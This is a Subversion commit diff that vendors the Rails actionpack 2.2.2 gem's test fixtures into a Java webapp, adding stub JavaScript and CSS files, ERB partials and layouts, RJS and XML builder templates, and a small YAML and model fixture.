Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/404.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/404.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/404.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+404 error fixture

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/500.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/500.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/500.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+500 error fixture

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/images/rails.png
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/images/rails.png
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/application.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/application.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/application.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// application js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/bank.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/bank.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/bank.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// bank js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/controls.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/controls.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/controls.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// controls js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/dragdrop.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/dragdrop.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/dragdrop.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// dragdrop js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/effects.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/effects.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/effects.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// effects js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/prototype.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/prototype.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/prototype.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// prototype js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/robber.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/robber.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/robber.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// robber js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/subdir/subdir.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/subdir/subdir.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/subdir/subdir.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// subdir js

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/version.1.0.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/version.1.0.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/version.1.0.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+// version.1.0 js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/bank.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/bank.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/bank.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+/* bank.css */
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/robber.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/robber.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/robber.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+/* robber.css */
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/subdir/subdir.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/subdir/subdir.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/subdir/subdir.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+/* subdir.css */

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/version.1.0.css
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/version.1.0.css	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/version.1.0.css	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+/* version.1.0.css */
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/replies/_reply.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/replies/_reply.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/replies/_reply.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= reply.content %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/replies.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/replies.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/replies.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+witty_retort:
+  id: 1
+  topic_id: 1
+  developer_id: 1
+  content: Birdman is better!
+  created_at: <%= 6.hours.ago.to_s(:db) %>
+  updated_at: nil
+  
+another:
+  id: 2
+  topic_id: 2
+  developer_id: 1
+  content: Nuh uh!
+  created_at: <%= 1.hour.ago.to_s(:db) %>
+  updated_at: nil
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/reply.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/reply.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/reply.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+class Reply < ActiveRecord::Base
+  named_scope :base
+  belongs_to :topic, :include => [:replies]
+  belongs_to :developer
+
+  validates_presence_of :content
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/all_types_with_layout.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/all_types_with_layout.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/all_types_with_layout.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+HTML for all_types_with_layout
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/all_types_with_layout.js.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/all_types_with_layout.js.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/all_types_with_layout.js.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+page << "RJS for all_types_with_layout"
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Mobile
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/iphone_with_html_response_type.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/iphone_with_html_response_type.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/iphone_with_html_response_type.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello future from <%= @type -%>!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello iPhone future from <%= @type -%>!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/missing.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/missing.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/missing.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<html><div id="html_missing"><%= yield %></div></html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/standard.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/standard.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/standard.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<html><div id="html"><%= yield %></div></html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/standard.iphone.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/standard.iphone.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts/standard.iphone.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<html><div id="iphone"><%= yield %></div></html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.js.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.js.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.js.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+page[:body].visual_effect :highlight
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.xml.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.xml.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults.xml.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+xml.p "Hello world!"
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.js.rjs
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.js.rjs	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.js.rjs	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+page[:body].visual_effect :highlight
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+xml.p "Hello world!"
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/scope/test/modgreet.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/scope/test/modgreet.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/scope/test/modgreet.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<p>Beautiful modules!</p>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/shared.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/shared.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/shared.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Elastica
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/symlink_parent/symlinked_layout.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/symlink_parent/symlinked_layout.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/symlink_parent/symlinked_layout.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+This is my layout
+
+<%= yield %>
+
+End.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_counter.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_counter.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_counter.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= counter_counter %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_counter.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_counter.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_counter.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= customer_counter.name %><%= customer_counter_counter %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_greeting.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_greeting.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_greeting.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer_greeting.name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_with_var.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_with_var.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_customer_with_var.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= customer.name %> <%= object.name %> <%= customer_with_var.name %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_form.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_form.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_form.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= form.label :title %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hash_greeting.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hash_greeting.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hash_greeting.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= greeting %>: <%= hash_greeting[:first_name] %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hash_object.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hash_object.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hash_object.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<%= hash_object[:first_name] %>
+<%= object[:first_name].reverse %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hello.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hello.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_hello.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+xm.hello
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_labelling_form.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_labelling_form.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_labelling_form.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= labelling_form.label :title %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_layout_for_block_with_args.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_layout_for_block_with_args.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_layout_for_block_with_args.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+Before
+<%= yield 'arg1', 'arg2' %>
+After
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_layout_for_partial.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_layout_for_partial.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_layout_for_partial.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+Before (<%= name %>)
+<%= yield %>
+After
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_local_inspector.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_local_inspector.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_local_inspector.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+<%= local_assigns.keys.map(&:to_s).sort.join(",") -%>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+invalid
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+partial html
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.js.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.js.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial.js.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+partial js
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_for_use_in_layout.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_for_use_in_layout.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_for_use_in_layout.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Inside from partial (<%= name %>)
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_only.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_only.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_only.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+only partial
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_with_only_html_version.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_with_only_html_version.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/_partial_with_only_html_version.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+partial with only html version
\ No newline at end of file

